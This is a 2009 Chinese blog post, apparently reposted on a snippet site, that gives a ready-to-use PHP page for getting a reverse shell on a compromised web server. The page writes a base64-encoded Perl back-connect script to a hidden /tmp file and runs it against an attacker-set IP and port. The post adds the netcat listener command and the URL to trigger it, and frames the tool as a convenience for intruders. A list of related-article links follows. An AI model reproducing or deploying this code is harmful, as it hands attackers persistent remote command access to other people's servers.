php反弹shell实现代码


Posted in PHP onApril 22, 2009

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。
声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "your IP"; 
$yourport = 'your port'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。
仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教
PHP 相关文章推荐
发布一个迷你php+AJAX聊天程序[聊天室]提供下载
Jul 21 PHP
php 处理上百万条的数据库如何提高处理查询速度
Feb 08 PHP
PHP页面间参数传递的四种方法详解
Jun 09 PHP
php实现获取文件mime类型的方法
Feb 11 PHP
织梦sitemap地图实时推送给百度的教程
Aug 03 PHP
PHP易混淆知识整理笔记
Sep 24 PHP
学习php设计模式 php实现模板方法模式
Dec 08 PHP
php基于curl主动推送最新内容给百度收录的方法
Oct 14 PHP
利用php_imagick实现复古效果的方法
Oct 18 PHP
PHP实现字母数字混合验证码功能
Jul 11 PHP
tp5 sum某个字段相加得到总数的例子
Oct 18 PHP
在TP5数据库中四个字段实现无限分类的示例
Oct 18 PHP
将数组写入txt文件 var_export
Apr 21 #PHP
php 保留小数点
Apr 21 #PHP
PHP 中执行排序与 MySQL 中排序
Apr 21 #PHP
一个php导出oracle库的php代码
Apr 20 #PHP
php一句话cmdshell新型 (非一句话木马)
Apr 18 #PHP
对squid中refresh_pattern的一些理解和建议
Apr 17 #PHP
PHP 加密与解密的斗争
Apr 17 #PHP
You might like
实现树状结构的两种方法
2006/10/09 PHP
人脸识别测颜值、测脸龄、测相似度微信接口
2016/04/07 PHP
Linux环境下php实现给网站截图的方法
2016/05/03 PHP
Smarty3配置及入门语法
2017/02/22 PHP
PHP面向对象之工作单元(实例讲解)
2017/06/26 PHP
详解php语言最牛掰的Laravel框架
2017/11/20 PHP
让IE6支持min-width和max-width的方法
2010/06/25 Javascript
JS面向对象编程之对象使用分析
2010/08/19 Javascript
扩展javascript的Date方法实现代码(prototype)
2010/11/20 Javascript
基于JavaScript 类的使用详解
2013/05/07 Javascript
javascript跨域的4种方法和原理详解
2014/04/08 Javascript
如何屏蔽防止别的网站嵌入框架代码
2015/08/24 Javascript
jQuery实现的淡入淡出二级菜单效果代码
2015/09/15 Javascript
JavaScript希尔排序、快速排序、归并排序算法
2016/05/08 Javascript
纯js实现动态时间显示
2020/09/07 Javascript
JavaScript中运算符规则和隐式类型转换示例详解
2017/09/06 Javascript
AngularJS实现动态切换样式的方法分析
2018/06/26 Javascript
jQuery AJAX 方法success()后台传来的4种数据详解
2018/08/08 jQuery
JavaScript使用indexOf()实现数组去重的方法分析
2018/09/04 Javascript
微信小程序实现文字无限轮播效果
2018/12/28 Javascript
JavaScript中构造函数与原型链之间的关系详解
2019/02/25 Javascript
vue中的.$mount('#app')手动挂载操作
2020/09/02 Javascript
解决vue中axios设置超时(超过5分钟)没反应的问题
2020/09/04 Javascript
js 压缩图片的示例(只缩小体积,不更改图片尺寸)
2020/10/21 Javascript
selenium 安装与chromedriver安装的方法步骤
2019/06/12 Python
用python wxpy管理微信公众号并利用微信获取自己的开源数据
2019/07/30 Python
pandas DataFrame创建方法的方式
2019/08/02 Python
纪伊国屋新加坡网上书店:Kinokuniya新加坡
2017/12/29 全球购物
TCP/IP中的TCP和IP分别承担什么责任
2012/04/21 面试题
创优争先心得体会
2014/09/11 职场文书
学校运动会广播稿100条
2014/09/14 职场文书
2014业务员年终工作总结
2014/12/09 职场文书
学校元旦晚会开场白
2014/12/14 职场文书
教师节表彰会主持词
2015/07/06 职场文书
Python数据分析入门之数据读取与存储
2021/05/13 Python
python运行脚本文件的三种方法实例
2022/06/25 Python